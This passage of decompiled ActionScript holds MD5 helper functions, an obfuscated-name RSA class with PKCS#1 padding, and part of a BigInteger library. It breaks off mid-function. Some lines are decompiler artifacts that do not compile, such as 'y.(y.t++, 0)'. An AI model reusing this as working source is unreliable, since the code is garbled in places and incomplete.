            return ([_local_3, _local_4, _local_5, _local_6]);
        }
    
        /*private*/ static function rol(_arg_1:uint, _arg_2:uint):uint
        {
            return (((_arg_1 << _arg_2) | (_arg_1 >>> (32 - _arg_2))));
        }
    
        /*private*/ static function cmn(_arg_1:uint, _arg_2:uint, _arg_3:uint, _arg_4:uint, _arg_5:uint, _arg_6:uint):uint
        {
            return ((rol((((_arg_2 + _arg_1) + _arg_4) + _arg_6), _arg_5) + _arg_3));
        }
    
        /*private*/ static function ff(_arg_1:uint, _arg_2:uint, _arg_3:uint, _arg_4:uint, _arg_5:uint, _arg_6:uint, _arg_7:uint):uint
        {
            return (cmn(((_arg_2 & _arg_3) | (~(_arg_2) & _arg_4)), _arg_1, _arg_2, _arg_5, _arg_6, _arg_7));
        }
    
        /*private*/ static function gg(_arg_1:uint, _arg_2:uint, _arg_3:uint, _arg_4:uint, _arg_5:uint, _arg_6:uint, _arg_7:uint):uint
        {
            return (cmn(((_arg_2 & _arg_4) | (_arg_3 & ~(_arg_4))), _arg_1, _arg_2, _arg_5, _arg_6, _arg_7));
        }
    
        /*private*/ static function hh(_arg_1:uint, _arg_2:uint, _arg_3:uint, _arg_4:uint, _arg_5:uint, _arg_6:uint, _arg_7:uint):uint
        {
            return (cmn(((_arg_2 ^ _arg_3) ^ _arg_4), _arg_1, _arg_2, _arg_5, _arg_6, _arg_7));
        }
    
        /*private*/ static function ii(_arg_1:uint, _arg_2:uint, _arg_3:uint, _arg_4:uint, _arg_5:uint, _arg_6:uint, _arg_7:uint):uint
        {
            return (cmn((_arg_3 ^ (_arg_2 | ~(_arg_4))), _arg_1, _arg_2, _arg_5, _arg_6, _arg_7));
        }
    
    
    }
    class _SLXOGXMDOX 
    {
    
        public var e:int;
        public var n:BigInteger;
        public var d:BigInteger;
        public var p:BigInteger;
        public var q:BigInteger;
        public var dmp1:BigInteger;
        public var dmq1:BigInteger;
        public var coeff:BigInteger;
        protected var canDecrypt:Boolean;
        protected var canEncrypt:Boolean;
    
        public function _SLXOGXMDOX(_arg_1:BigInteger, _arg_2:int, _arg_3:BigInteger=null, _arg_4:BigInteger=null, _arg_5:BigInteger=null, _arg_6:BigInteger=null, _arg_7:BigInteger=null, _arg_8:BigInteger=null)
        {
            this.n = _arg_1;
            this.e = _arg_2;
            this.d = _arg_3;
            this.p = _arg_4;
            this.q = _arg_5;
            this.dmp1 = _arg_6;
            this.dmq1 = _arg_7;
            this.coeff = _arg_8;
            this.canEncrypt = ((!((this.n == null))) && (!((this.e == 0))));
            this.canDecrypt = ((this.canEncrypt) && (!((this.d == null))));
        }
    
        public static function parsePublicKey(_arg_1:String, _arg_2:String):_SLXOGXMDOX
        {
            return (new (_SLXOGXMDOX)(new BigInteger(_arg_1, 16, true), parseInt(_arg_2, 16)));
        }
    
        public static function parsePrivateKey(_arg_1:String, _arg_2:String, _arg_3:String, _arg_4:String=null, _arg_5:String=null, _arg_6:String=null, _arg_7:String=null, _arg_8:String=null):_SLXOGXMDOX
        {
            if (_arg_4 == null){
                return (new (_SLXOGXMDOX)(new BigInteger(_arg_1, 16, true), parseInt(_arg_2, 16), new BigInteger(_arg_3, 16, true)));
            };
            return (new (_SLXOGXMDOX)(new BigInteger(_arg_1, 16, true), parseInt(_arg_2, 16), new BigInteger(_arg_3, 16, true), new BigInteger(_arg_4, 16, true), new BigInteger(_arg_5, 16, true), new BigInteger(_arg_6, 16, true), new BigInteger(_arg_7, 16, true), new BigInteger(_arg_8, 16, true)));
        }
    
        protected static function bigRandom(_arg_1:int, _arg_2:Random):BigInteger
        {
            if (_arg_1 < 2){
                return (BigInteger.nbv(1));
            };
            var _local_3:ByteArray = new ByteArray();
            _arg_2.nextBytes(_local_3, (_arg_1 >> 3));
            _local_3.position = 0;
            var _local_4:BigInteger = new BigInteger(_local_3, 0, true);
            _local_4.primify(_arg_1, 1);
            return (_local_4);
        }
    
    
        public function getBlockSize():uint
        {
            return (((this.n.bitLength() + 7) / 8));
        }
    
        public function dispose():void
        {
            this.e = 0;
            this.n.dispose();
            this.n = null;
            Memory.gc();
        }
    
        public function encrypt(_arg_1:ByteArray, _arg_2:ByteArray, _arg_3:uint, _arg_4:Function=null):void
        {
            this._encrypt(this.doPublic, _arg_1, _arg_2, _arg_3, _arg_4, 2);
        }
    
        public function decrypt(_arg_1:ByteArray, _arg_2:ByteArray, _arg_3:uint, _arg_4:Function=null):void
        {
            this._decrypt(this.doPrivate2, _arg_1, _arg_2, _arg_3, _arg_4, 2);
        }
    
        public function sign(_arg_1:ByteArray, _arg_2:ByteArray, _arg_3:uint, _arg_4:Function=null):void
        {
            this._encrypt(this.doPrivate2, _arg_1, _arg_2, _arg_3, _arg_4, 1);
        }
    
        public function verify(_arg_1:ByteArray, _arg_2:ByteArray, _arg_3:uint, _arg_4:Function=null):void
        {
            this._decrypt(this.doPublic, _arg_1, _arg_2, _arg_3, _arg_4, 1);
        }
    
        /*private*/ function _encrypt(_arg_1:Function, _arg_2:ByteArray, _arg_3:ByteArray, _arg_4:uint, _arg_5:Function, _arg_6:int):void
        {
            var _local_9:BigInteger;
            var _local_10:BigInteger;
            var _local_11:uint;
            if (_arg_5 == null){
                _arg_5 = this.pkcs1pad;
            };
            if (_arg_2.position >= _arg_2.length){
                _arg_2.position = 0;
            };
            var _local_7:uint = this.getBlockSize();
            var _local_8:int = (_arg_2.position + _arg_4);
            while (_arg_2.position < _local_8) {
                _local_9 = new BigInteger(_arg_5(_arg_2, _local_8, _local_7, _arg_6), _local_7, true);
                _local_10 = _arg_1(_local_9);
                _local_11 = (_local_7 - Math.ceil((_local_10.bitLength() / 8)));
                while (_local_11 > 0) {
                    _arg_3.writeByte(0);
                    _local_11--;
                };
                _local_10.toArray(_arg_3);
            };
        }
    
        /*private*/ function _decrypt(_arg_1:Function, _arg_2:ByteArray, _arg_3:ByteArray, _arg_4:uint, _arg_5:Function, _arg_6:int):void
        {
            var _local_9:BigInteger;
            var _local_10:BigInteger;
            var _local_11:ByteArray;
            if (_arg_5 == null){
                _arg_5 = this.pkcs1unpad;
            };
            if (_arg_2.position >= _arg_2.length){
                _arg_2.position = 0;
            };
            var _local_7:uint = this.getBlockSize();
            var _local_8:int = (_arg_2.position + _arg_4);
            while (_arg_2.position < _local_8) {
                _local_9 = new BigInteger(_arg_2, _local_7, true);
                _local_10 = _arg_1(_local_9);
                _local_11 = _arg_5(_local_10, _local_7, _arg_6);
                if (_local_11 == null){
                    throw (new Error("Decrypt error - padding function returned null!"));
                };
                _arg_3.writeBytes(_local_11);
            };
        }
    
        /*private*/ function pkcs1pad(_arg_1:ByteArray, _arg_2:int, _arg_3:uint, _arg_4:uint=2):ByteArray
        {
            var _local_8:Random;
            var _local_9:int;
            var _local_5:ByteArray = new ByteArray();
            var _local_6:uint = _arg_1.position;
            _arg_2 = Math.min(_arg_2, _arg_1.length, ((_local_6 + _arg_3) - 11));
            _arg_1.position = _arg_2;
            var _local_7:int = (_arg_2 - 1);
            while ((((_local_7 >= _local_6)) && ((_arg_3 > 11)))) {
                var _local_10 = --_arg_3;
                _local_5[_local_10] = _arg_1[_local_7--];
            };
            _local_10 = --_arg_3;
            _local_5[_local_10] = 0;
            if (_arg_4 == 2){
                _local_8 = new Random();
                _local_9 = 0;
                while (_arg_3 > 2) {
                    do  {
                        _local_9 = _local_8.nextByte();
                    } while (_local_9 == 0);
                    var _local_11 = --_arg_3;
                    _local_5[_local_11] = _local_9;
                };
            }
            else {
                while (_arg_3 > 2) {
                    _local_11 = --_arg_3;
                    _local_5[_local_11] = 0xFF;
                };
            };
            _local_11 = --_arg_3;
            _local_5[_local_11] = _arg_4;
            var _local_12 = --_arg_3;
            _local_5[_local_12] = 0;
            return (_local_5);
        }
    
        /*private*/ function pkcs1unpad(_arg_1:BigInteger, _arg_2:uint, _arg_3:uint=2):ByteArray
        {
            var _local_4:ByteArray = _arg_1.toByteArray();
            var _local_5:ByteArray = new ByteArray();
            _local_4.position = 0;
            var _local_6:int;
            while ((((_local_6 < _local_4.length)) && ((_local_4[_local_6] == 0)))) {
                _local_6++;
            };
            if (((!(((_local_4.length - _local_6) == (_arg_2 - 1)))) || (!((_local_4[_local_6] == _arg_3))))){
                return (null);
            };
            _local_6++;
            while (_local_4[_local_6] != 0) {
                if (++_local_6 >= _local_4.length){
                    return (null);
                };
            };
            while (++_local_6 < _local_4.length) {
                _local_5.writeByte(_local_4[_local_6]);
            };
            _local_5.position = 0;
            return (_local_5);
        }
    
        public function rawpad(_arg_1:ByteArray, _arg_2:int, _arg_3:uint, _arg_4:uint=0):ByteArray
        {
            return (_arg_1);
        }
    
        public function rawunpad(_arg_1:BigInteger, _arg_2:uint, _arg_3:uint=0):ByteArray
        {
            return (_arg_1.toByteArray());
        }
    
        public function toString():String
        {
            return ("rsa");
        }
    
        public function dump():String
        {
            var _local_1 = ((((("N=" + this.n.toString(16)) + "\n") + "E=") + this.e.toString(16)) + "\n");
            if (this.canDecrypt){
                _local_1 = (_local_1 + (("D=" + this.d.toString(16)) + "\n"));
                if (((!((this.p == null))) && (!((this.q == null))))){
                    _local_1 = (_local_1 + (("P=" + this.p.toString(16)) + "\n"));
                    _local_1 = (_local_1 + (("Q=" + this.q.toString(16)) + "\n"));
                    _local_1 = (_local_1 + (("DMP1=" + this.dmp1.toString(16)) + "\n"));
                    _local_1 = (_local_1 + (("DMQ1=" + this.dmq1.toString(16)) + "\n"));
                    _local_1 = (_local_1 + (("IQMP=" + this.coeff.toString(16)) + "\n"));
                };
            };
            return (_local_1);
        }
    
        protected function doPublic(_arg_1:BigInteger):BigInteger
        {
            return (_arg_1.modPowInt(this.e, this.n));
        }
    
        protected function doPrivate2(_arg_1:BigInteger):BigInteger
        {
            if ((((this.p == null)) && ((this.q == null)))){
                return (_arg_1.modPow(this.d, this.n));
            };
            var _local_2:BigInteger = _arg_1.mod(this.p).modPow(this.dmp1, this.p);
            var _local_3:BigInteger = _arg_1.mod(this.q).modPow(this.dmq1, this.q);
            while (_local_2.compareTo(_local_3) < 0) {
                _local_2 = _local_2.add(this.p);
            };
            var _local_4:BigInteger = _local_2.subtract(_local_3).multiply(this.coeff).mod(this.p).multiply(this.q).add(_local_3);
            return (_local_4);
        }
    
        protected function doPrivate(_arg_1:BigInteger):BigInteger
        {
            if ((((this.p == null)) || ((this.q == null)))){
                return (_arg_1.modPow(this.d, this.n));
            };
            var _local_2:BigInteger = _arg_1.mod(this.p).modPow(this.dmp1, this.p);
            var _local_3:BigInteger = _arg_1.mod(this.q).modPow(this.dmq1, this.q);
            while (_local_2.compareTo(_local_3) < 0) {
                _local_2 = _local_2.add(this.p);
            };
            return (_local_2.subtract(_local_3).multiply(this.coeff).mod(this.p).multiply(this.q).add(_local_3));
        }
    
    
    }
    class BigInteger 
    {
    
        public static const DB:int = 30;
        public static const DV:int = (1 << DB);
        public static const DM:int = (DV - 1);
        public static const BI_FP:int = 52;
        public static const FV:Number = Math.pow(2, BI_FP);
        public static const F1:int = (BI_FP - DB);//22
        public static const F2:int = ((2 * DB) - BI_FP);//8
        public static const ZERO:BigInteger = nbv(0);
        public static const ONE:BigInteger = nbv(1);
        public static const lowprimes:Array = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 0x0101, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509];
        public static const lplim:int = ((1 << 26) / lowprimes[(lowprimes.length - 1)]);
    
        public var t:int;
        bi_internal var s:int;
        bi_internal var a:Array;
    
        public function BigInteger(_arg_1:*=null, _arg_2:int=0, _arg_3:Boolean=false)
        {
            var _local_4:ByteArray;
            var _local_5:int;
            super();
            this.a = new Array();
            if ((_arg_1 is String)){
                if (((_arg_2) && (!((_arg_2 == 16))))){
                    throw (new Error("BigInteger construction with radix!=16 is not supported."));
                };
                _arg_1 = Hex.toArray(_arg_1);
                _arg_2 = 0;
            };
            if ((_arg_1 is ByteArray)){
                _local_4 = (_arg_1 as ByteArray);
                _local_5 = ((_arg_2) || ((_local_4.length - _local_4.position)));
                this.fromArray(_local_4, _local_5, _arg_3);
            };
        }
    
        public static function nbv(_arg_1:int):BigInteger
        {
            var _local_2:BigInteger = new (BigInteger)();
            _local_2.fromInt(_arg_1);
            return (_local_2);
        }
    
    
        public function dispose():void
        {
            var _local_1:Random = new Random();
            var _local_2:uint;
            while (_local_2 < this.a.length) {
                this.a[_local_2] = _local_1.nextByte();
                delete this.a[_local_2];
                _local_2++;
            };
            this.a = null;
            this.t = 0;
            this.s = 0;
            Memory.gc();
        }
    
        public function toString(_arg_1:Number=16):String
        {
            var _local_2:int;
            if (this.s < 0){
                return (("-" + this.negate().toString(_arg_1)));
            };
            switch (_arg_1){
                case 2:
                    _local_2 = 1;
                    break;
                case 4:
                    _local_2 = 2;
                    break;
                case 8:
                    _local_2 = 3;
                    break;
                case 16:
                    _local_2 = 4;
                    break;
                case 32:
                    _local_2 = 5;
                    break;
            };
            var _local_3:int = ((1 << _local_2) - 1);
            var _local_4:int;
            var _local_5:Boolean;
            var _local_6 = "";
            var _local_7:int = this.t;
            var _local_8:int = (DB - ((_local_7 * DB) % _local_2));
            if (_local_7-- > 0){
                if ((((_local_8 < DB)) && (((_local_4 = (this.a[_local_7] >> _local_8)) > 0)))){
                    _local_5 = true;
                    _local_6 = _local_4.toString(36);
                };
                while (_local_7 >= 0) {
                    if (_local_8 < _local_2){
                        _local_4 = ((this.a[_local_7] & ((1 << _local_8) - 1)) << (_local_2 - _local_8));
                        var _temp_1 = _local_4;
                        _local_8 = (_local_8 + (DB - _local_2));
                        _local_4 = (_temp_1 | (this.a[--_local_7] >> _local_8));
                    }
                    else {
                        _local_8 = (_local_8 - _local_2);
                        _local_4 = ((this.a[_local_7] >> _local_8) & _local_3);
                        if (_local_8 <= 0){
                            _local_8 = (_local_8 + DB);
                            _local_7--;
                        };
                    };
                    if (_local_4 > 0){
                        _local_5 = true;
                    };
                    if (_local_5){
                        _local_6 = (_local_6 + _local_4.toString(36));
                    };
                };
            };
            return (((_local_5) ? _local_6 : "0"));
        }
    
        public function toArray(_arg_1:ByteArray):uint
        {
            var _local_2:int = 8;
            var _local_3:int = ((1 << 8) - 1);
            var _local_4:int;
            var _local_5:int = this.t;
            var _local_6:int = (DB - ((_local_5 * DB) % _local_2));
            var _local_7:Boolean;
            var _local_8:int;
            if (_local_5-- > 0){
                if ((((_local_6 < DB)) && (((_local_4 = (this.a[_local_5] >> _local_6)) > 0)))){
                    _local_7 = true;
                    _arg_1.writeByte(_local_4);
                    _local_8++;
                };
                while (_local_5 >= 0) {
                    if (_local_6 < _local_2){
                        _local_4 = ((this.a[_local_5] & ((1 << _local_6) - 1)) << (_local_2 - _local_6));
                        var _temp_1 = _local_4;
                        _local_6 = (_local_6 + (DB - _local_2));
                        _local_4 = (_temp_1 | (this.a[--_local_5] >> _local_6));
                    }
                    else {
                        _local_6 = (_local_6 - _local_2);
                        _local_4 = ((this.a[_local_5] >> _local_6) & _local_3);
                        if (_local_6 <= 0){
                            _local_6 = (_local_6 + DB);
                            _local_5--;
                        };
                    };
                    if (_local_4 > 0){
                        _local_7 = true;
                    };
                    if (_local_7){
                        _arg_1.writeByte(_local_4);
                        _local_8++;
                    };
                };
            };
            return (_local_8);
        }
    
        public function valueOf():Number
        {
            if (this.s == -1){
                return (-(this.negate().valueOf()));
            };
            var _local_1:Number = 1;
            var _local_2:Number = 0;
            var _local_3:uint;
            while (_local_3 < this.t) {
                _local_2 = (_local_2 + (this.a[_local_3] * _local_1));
                _local_1 = (_local_1 * DV);
                _local_3++;
            };
            return (_local_2);
        }
    
        public function negate():BigInteger
        {
            var _local_1:BigInteger = this.nbi();
            ZERO.subTo(this, _local_1);
            return (_local_1);
        }
    
        public function abs():BigInteger
        {
            return ((((this.s)<0) ? this.negate() : this));
        }
    
        public function compareTo(_arg_1:BigInteger):int
        {
            var _local_2:int = (this.s - _arg_1.s);
            if (_local_2 != 0){
                return (_local_2);
            };
            var _local_3:int = this.t;
            _local_2 = (_local_3 - _arg_1.t);
            if (_local_2 != 0){
                return (_local_2);
            };
            while (--_local_3 >= 0) {
                _local_2 = (this.a[_local_3] - _arg_1.a[_local_3]);
                if (_local_2 != 0){
                    return (_local_2);
                };
            };
            return (0);
        }
    
        bi_internal function nbits(_arg_1:int):int
        {
            var _local_3:int;
            var _local_2:int = 1;
            _local_3 = (_arg_1 >>> 16);
            if (_local_3 != 0){
                _arg_1 = _local_3;
                _local_2 = (_local_2 + 16);
            };
            _local_3 = (_arg_1 >> 8);
            if (_local_3 != 0){
                _arg_1 = _local_3;
                _local_2 = (_local_2 + 8);
            };
            _local_3 = (_arg_1 >> 4);
            if (_local_3 != 0){
                _arg_1 = _local_3;
                _local_2 = (_local_2 + 4);
            };
            _local_3 = (_arg_1 >> 2);
            if (_local_3 != 0){
                _arg_1 = _local_3;
                _local_2 = (_local_2 + 2);
            };
            _local_3 = (_arg_1 >> 1);
            if (_local_3 != 0){
                _arg_1 = _local_3;
                _local_2 = (_local_2 + 1);
            };
            return (_local_2);
        }
    
        public function bitLength():int
        {
            if (this.t <= 0){
                return (0);
            };
            return (((DB * (this.t - 1)) + this.nbits((this.a[(this.t - 1)] ^ (this.s & DM)))));
        }
    
        public function mod(_arg_1:BigInteger):BigInteger
        {
            var _local_2:BigInteger = this.nbi();
            this.abs().divRemTo(_arg_1, null, _local_2);
            if ((((this.s < 0)) && ((_local_2.compareTo(ZERO) > 0)))){
                _arg_1.subTo(_local_2, _local_2);
            };
            return (_local_2);
        }
    
        public function modPowInt(_arg_1:int, _arg_2:BigInteger):BigInteger
        {
            var _local_3:IReduction;
            if ((((_arg_1 < 0x0100)) || (_arg_2.isEven()))){
                _local_3 = new ClassicReduction(_arg_2);
            }
            else {
                _local_3 = new MontgomeryReduction(_arg_2);
            };
            return (this.exp(_arg_1, _local_3));
        }
    
        bi_internal function copyTo(_arg_1:BigInteger):void
        {
            var _local_2:int = (this.t - 1);
            while (_local_2 >= 0) {
                _arg_1.a[_local_2] = this.a[_local_2];
                _local_2--;
            };
            _arg_1.t = this.t;
            _arg_1.s = this.s;
        }
    
        bi_internal function fromInt(_arg_1:int):void
        {
            this.t = 1;
            this.s = (((_arg_1)<0) ? -1 : 0);
            if (_arg_1 > 0){
                this.a[0] = _arg_1;
            }
            else {
                if (_arg_1 < -1){
                    this.a[0] = (_arg_1 + DV);
                }
                else {
                    this.t = 0;
                };
            };
        }
    
        bi_internal function fromArray(_arg_1:ByteArray, _arg_2:int, _arg_3:Boolean=false):void
        {
            var _local_8:int;
            var _local_4:int = _arg_1.position;
            var _local_5:int = (_local_4 + _arg_2);
            var _local_6:int;
            var _local_7:int = 8;
            this.t = 0;
            this.s = 0;
            while (--_local_5 >= _local_4) {
                _local_8 = (((_local_5 < _arg_1.length)) ? _arg_1[_local_5] : 0);
                if (_local_6 == 0){
                    var _local_9 = this.t++;
                    this.a[_local_9] = _local_8;
                }
                else {
                    if ((_local_6 + _local_7) > DB){
                        this.a[(this.t - 1)] = (this.a[(this.t - 1)] | ((_local_8 & ((1 << (DB - _local_6)) - 1)) << _local_6));
                        _local_9 = this.t++;
                        this.a[_local_9] = (_local_8 >> (DB - _local_6));
                    }
                    else {
                        this.a[(this.t - 1)] = (this.a[(this.t - 1)] | (_local_8 << _local_6));
                    };
                };
                _local_6 = (_local_6 + _local_7);
                if (_local_6 >= DB){
                    _local_6 = (_local_6 - DB);
                };
            };
            if (((!(_arg_3)) && (((_arg_1[0] & 128) == 128)))){
                this.s = -1;
                if (_local_6 > 0){
                    this.a[(this.t - 1)] = (this.a[(this.t - 1)] | (((1 << (DB - _local_6)) - 1) << _local_6));
                };
            };
            this.clamp();
            _arg_1.position = Math.min((_local_4 + _arg_2), _arg_1.length);
        }
    
        bi_internal function clamp():void
        {
            var _local_1 = (this.s & DM);
            while ((((this.t > 0)) && ((this.a[(this.t - 1)] == _local_1)))) {
                this.t--;
            };
        }
    
        bi_internal function dlShiftTo(_arg_1:int, _arg_2:BigInteger):void
        {
            var _local_3:int;
            _local_3 = (this.t - 1);
            while (_local_3 >= 0) {
                _arg_2.a[(_local_3 + _arg_1)] = this.a[_local_3];
                _local_3--;
            };
            _local_3 = (_arg_1 - 1);
            while (_local_3 >= 0) {
                _arg_2.a[_local_3] = 0;
                _local_3--;
            };
            _arg_2.t = (this.t + _arg_1);
            _arg_2.s = this.s;
        }
    
        bi_internal function drShiftTo(_arg_1:int, _arg_2:BigInteger):void
        {
            var _local_3:int;
            _local_3 = _arg_1;
            while (_local_3 < this.t) {
                _arg_2.a[(_local_3 - _arg_1)] = this.a[_local_3];
                _local_3++;
            };
            _arg_2.t = Math.max((this.t - _arg_1), 0);
            _arg_2.s = this.s;
        }
    
        bi_internal function lShiftTo(_arg_1:int, _arg_2:BigInteger):void
        {
            var _local_8:int;
            var _local_3:int = (_arg_1 % DB);
            var _local_4:int = (DB - _local_3);
            var _local_5:int = ((1 << _local_4) - 1);
            var _local_6:int = (_arg_1 / DB);
            var _local_7 = ((this.s << _local_3) & DM);
            _local_8 = (this.t - 1);
            while (_local_8 >= 0) {
                _arg_2.a[((_local_8 + _local_6) + 1)] = ((this.a[_local_8] >> _local_4) | _local_7);
                _local_7 = ((this.a[_local_8] & _local_5) << _local_3);
                _local_8--;
            };
            _local_8 = (_local_6 - 1);
            while (_local_8 >= 0) {
                _arg_2.a[_local_8] = 0;
                _local_8--;
            };
            _arg_2.a[_local_6] = _local_7;
            _arg_2.t = ((this.t + _local_6) + 1);
            _arg_2.s = this.s;
            _arg_2.clamp();
        }
    
        bi_internal function rShiftTo(_arg_1:int, _arg_2:BigInteger):void
        {
            var _local_7:int;
            _arg_2.s = this.s;
            var _local_3:int = (_arg_1 / DB);
            if (_local_3 >= this.t){
                _arg_2.t = 0;
                return;
            };
            var _local_4:int = (_arg_1 % DB);
            var _local_5:int = (DB - _local_4);
            var _local_6:int = ((1 << _local_4) - 1);
            _arg_2.a[0] = (this.a[_local_3] >> _local_4);
            _local_7 = (_local_3 + 1);
            while (_local_7 < this.t) {
                _arg_2.a[((_local_7 - _local_3) - 1)] = (_arg_2.a[((_local_7 - _local_3) - 1)] | ((this.a[_local_7] & _local_6) << _local_5));
                _arg_2.a[(_local_7 - _local_3)] = (this.a[_local_7] >> _local_4);
                _local_7++;
            };
            if (_local_4 > 0){
                _arg_2.a[((this.t - _local_3) - 1)] = (_arg_2.a[((this.t - _local_3) - 1)] | ((this.s & _local_6) << _local_5));
            };
            _arg_2.t = (this.t - _local_3);
            _arg_2.clamp();
        }
    
        bi_internal function subTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            var _local_3:int;
            var _local_4:int;
            var _local_5:int = Math.min(_arg_1.t, this.t);
            while (_local_3 < _local_5) {
                _local_4 = (_local_4 + (this.a[_local_3] - _arg_1.a[_local_3]));
                var _local_6 = _local_3++;
                _arg_2.a[_local_6] = (_local_4 & DM);
                _local_4 = (_local_4 >> DB);
            };
            if (_arg_1.t < this.t){
                _local_4 = (_local_4 - _arg_1.s);
                while (_local_3 < this.t) {
                    _local_4 = (_local_4 + this.a[_local_3]);
                    _local_6 = _local_3++;
                    _arg_2.a[_local_6] = (_local_4 & DM);
                    _local_4 = (_local_4 >> DB);
                };
                _local_4 = (_local_4 + this.s);
            }
            else {
                _local_4 = (_local_4 + this.s);
                while (_local_3 < _arg_1.t) {
                    _local_4 = (_local_4 - _arg_1.a[_local_3]);
                    _local_6 = _local_3++;
                    _arg_2.a[_local_6] = (_local_4 & DM);
                    _local_4 = (_local_4 >> DB);
                };
                _local_4 = (_local_4 - _arg_1.s);
            };
            _arg_2.s = (((_local_4)<0) ? -1 : 0);
            if (_local_4 < -1){
                _local_6 = _local_3++;
                _arg_2.a[_local_6] = (DV + _local_4);
            }
            else {
                if (_local_4 > 0){
                    _local_6 = _local_3++;
                    _arg_2.a[_local_6] = _local_4;
                };
            };
            _arg_2.t = _local_3;
            _arg_2.clamp();
        }
    
        bi_internal function am(_arg_1:int, _arg_2:int, _arg_3:BigInteger, _arg_4:int, _arg_5:int, _arg_6:int):int
        {
            var _local_9:int;
            var _local_10:int;
            var _local_11:int;
            var _local_7 = (_arg_2 & 32767);
            var _local_8 = (_arg_2 >> 15);
            while (--_arg_6 >= 0) {
                _local_9 = (this.a[_arg_1] & 32767);
                _local_10 = (this.a[_arg_1++] >> 15);
                _local_11 = ((_local_8 * _local_9) + (_local_10 * _local_7));
                _local_9 = ((((_local_7 * _local_9) + ((_local_11 & 32767) << 15)) + _arg_3.a[_arg_4]) + (_arg_5 & 1073741823));
                _arg_5 = ((((_local_9 >>> 30) + (_local_11 >>> 15)) + (_local_8 * _local_10)) + (_arg_5 >>> 30));
                var _local_12 = _arg_4++;
                _arg_3.a[_local_12] = (_local_9 & 1073741823);
            };
            return (_arg_5);
        }
    
        bi_internal function multiplyTo(_arg_1:BigInteger, _arg_2:BigInteger):void
        {
            var _local_3:BigInteger = this.abs();
            var _local_4:BigInteger = _arg_1.abs();
            var _local_5:int = _local_3.t;
            _arg_2.t = (_local_5 + _local_4.t);
            while (--_local_5 >= 0) {
                _arg_2.a[_local_5] = 0;
            };
            _local_5 = 0;
            while (_local_5 < _local_4.t) {
                _arg_2.a[(_local_5 + _local_3.t)] = _local_3.am(0, _local_4.a[_local_5], _arg_2, _local_5, 0, _local_3.t);
                _local_5++;
            };
            _arg_2.s = 0;
            _arg_2.clamp();
            if (this.s != _arg_1.s){
                ZERO.subTo(_arg_2, _arg_2);
            };
        }
    
        bi_internal function squareTo(_arg_1:BigInteger):void
        {
            var _local_4:int;
            var _local_2:BigInteger = this.abs();
            var _local_3:int = (_arg_1.t = (2 * _local_2.t));
            while (--_local_3 >= 0) {
                _arg_1.a[_local_3] = 0;
            };
            _local_3 = 0;
            while (_local_3 < (_local_2.t - 1)) {
                _local_4 = _local_2.am(_local_3, _local_2.a[_local_3], _arg_1, (2 * _local_3), 0, 1);
                if ((_arg_1.a[(_local_3 + _local_2.t)] = (_arg_1.a[(_local_3 + _local_2.t)] + _local_2.am((_local_3 + 1), (2 * _local_2.a[_local_3]), _arg_1, ((2 * _local_3) + 1), _local_4, ((_local_2.t - _local_3) - 1)))) >= DV){
                    _arg_1.a[(_local_3 + _local_2.t)] = (_arg_1.a[(_local_3 + _local_2.t)] - DV);
                    _arg_1.a[((_local_3 + _local_2.t) + 1)] = 1;
                };
                _local_3++;
            };
            if (_arg_1.t > 0){
                _arg_1.a[(_arg_1.t - 1)] = (_arg_1.a[(_arg_1.t - 1)] + _local_2.am(_local_3, _local_2.a[_local_3], _arg_1, (2 * _local_3), 0, 1));
            };
            _arg_1.s = 0;
            _arg_1.clamp();
        }
    
        bi_internal function divRemTo(m:BigInteger, q:BigInteger=null, r:BigInteger=null):void
        {
            var qd:int;
            var pm:BigInteger = m.abs();
            if (pm.t <= 0){
                return;
            };
            var pt:BigInteger = this.abs();
            if (pt.t < pm.t){
                if (q != null){
                    q.fromInt(0);
                };
                if (r != null){
                    this.copyTo(r);
                };
                return;
            };
            if (r == null){
                r = this.nbi();
            };
            var y:BigInteger = this.nbi();
            var ts:int = this.s;
            var ms:int = m.s;
            var nsh:int = (DB - this.nbits(pm.a[(pm.t - 1)]));
            if (nsh > 0){
                pm.lShiftTo(nsh, y);
                pt.lShiftTo(nsh, r);
            }
            else {
                pm.copyTo(y);
                pt.copyTo(r);
            };
            var ys:int = y.t;
            var y0:int = y.a[(ys - 1)];
            if (y0 == 0){
                return;
            };
            var yt:Number = ((y0 * (1 << F1)) + (((ys)>1) ? (y.a[(ys - 2)] >> F2) : 0));
            var d1:Number = (FV / yt);
            var d2:Number = ((1 << F1) / yt);
            var e:Number = (1 << F2);
            var i:int = r.t;
            var j:int = (i - ys);
            var t:BigInteger = (((q)==null) ? this.nbi() : q);
            y.dlShiftTo(j, t);
            if (r.compareTo(t) >= 0){
                var _local_5 = r.t++;
                r.a[_local_5] = 1;
                r.subTo(t, r);
            };
            ONE.dlShiftTo(ys, t);
            t.subTo(y, y);
            while (y.t < ys) {
                y.(y.t++, 0); //not popped
            };
            while (--j >= 0) {
                qd = (((r.a[--i])==y0) ? DM : ((Number(r.a[i]) * d1) + ((Number(r.a[(i - 1)]) + e) * d2)));
                if ((r.a[i] = (r.a[i] + y.am(0, qd, r, j, 0, ys))) < qd){
                    y.dlShiftTo(j, t);
                    r.subTo(t, r);
                    while ((qd = (qd - 1)), r.a[i] < qd) {
                        r.subTo(t, r);
                    };
                };
            };
            if (q != null){
                r.drShiftTo(ys, q);
                if (ts != ms){
                    ZERO.subTo(q, q);
                };
            };
            r.t = ys;
            r.clamp();
            if (nsh > 0){
                r.rShiftTo(nsh, r);
            };
            if (ts < 0){
                ZERO.subTo(r, r);
            };
        }
    
        bi_internal function invDigit():int
        {
            if (this.t < 1){
                return (0);
            };
            var _local_1:int = this.a[0];
            if ((_local_1 & 1) == 0){
                return (0);
            };
            var _local_2 = (_local_1 & 3);
            _local_2 = ((_local_2 * (2 - ((_local_1 & 15) * _local_2))) & 15);
            _local_2 = ((_local_2 * (2 - ((_local_1 & 0xFF) * _local_2))) & 0xFF);
            _local_2 = ((_local_2 * (2 - (((_local_1 & 0xFFFF) * _local_2) & 0xFFFF))) & 0xFFFF);
